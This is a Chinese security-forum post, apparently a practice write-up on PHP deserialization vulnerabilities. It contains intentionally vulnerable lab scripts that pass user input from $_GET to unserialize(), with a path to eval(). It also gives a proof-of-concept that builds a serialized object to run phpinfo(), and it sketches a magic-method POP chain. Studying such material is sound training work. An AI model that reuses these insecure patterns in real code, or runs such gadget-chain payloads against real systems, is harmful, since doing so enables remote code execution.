首页
社区
课程
招聘
[原创]反序列化漏洞练习
发表于: 2024-10-25 13:35 3985

[原创]反序列化漏洞练习

2024-10-25 13:35
3985

成因
程序暴露或间接暴露反序列化 API,导致用户可以操作传入数据,并且没有对用户输入的反序列化字符串进行检测.

思路:想要输出想要的信息,只有在api()中修改data的值,再调用run()函数。

切入点:在car中存在构造函数析构函数

解答:先定义car的对象a,此时调用构造函数a->action=new run()。成为run对象并不是我们所期望的,直接把a->action修改为api()
构造的POC代码如下:

结果如下
图片描述

下面是一些可以利用的函数的说明:

__toString
对象被当成字符串使用时会被调用
__invoke
用调用函数的方式调用一个对象时被调用
__call
执行不存在的函数时调用

不难看出,这里的函数利用环环相扣.
POC:

运行结果如下:
图片描述

<?php
class car{
    var $action;
    function __construct($action){
        $this->action = new run();
    }
 
    function __destruct()
    {
        $this->action->run();
    }
}
class run{
    function run(){
        echo "running...";
    }
}
 
class api{
    var $data;
    function run(){
        eval($this->data);
    }
}
 
unserialize($_GET['action']);
?>
<?php
class car{
    var $action;
    function __construct($action){
        $this->action = new run();
    }
 
    function __destruct()
    {
        $this->action->run();
    }
}
class run{
    function run(){
        echo "running...";
    }
}
 
class api{
    var $data;
    function run(){
        eval($this->data);
    }
}
 
unserialize($_GET['action']);
?>
$a=new car('run');
$a->action=new api();
$a->action->data='phpinfo();';
echo serialize($a);
$a=new car('run');
$a->action=new api();
$a->action->data='phpinfo();';
echo serialize($a);
<?php
class start_gg{
    public $mod1;
    public $mod2;
    public function __destruct(){
        $this->mod1->test1();
    }
}
 
class Call{
    public $mod1;
    public $mod2;
    public function test1(){
        $this->mod1->test2();
    }
}
 
class funct{
    public $mod1;
    public $mod2;
    public function __call($test2, $arr)
    {
        $s1=$this->mod1;
        $s1();
    }   
}
   
class func{
    public $mod1;
    public $mod2;
    public function __invoke()
    {
     $this->mod2="字符串拼接".$this->mod1;  
    }
}
 
 
class string1{
    public $str1;
    public $str2;
    public function __toString()
    {
        $this->str1->get_flag();
        return "1";
    }
}
 
class GetFlag{
    public function get_flag(){
        echo "flag:"."4399";
    }
}
 
$a=$_GET['string'];
unserialize($a);
?>
<?php
class start_gg{
    public $mod1;
    public $mod2;
    public function __destruct(){
        $this->mod1->test1();
    }
}
 
class Call{
    public $mod1;
    public $mod2;
    public function test1(){
        $this->mod1->test2();
    }
}
 
class funct{
    public $mod1;
    public $mod2;

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//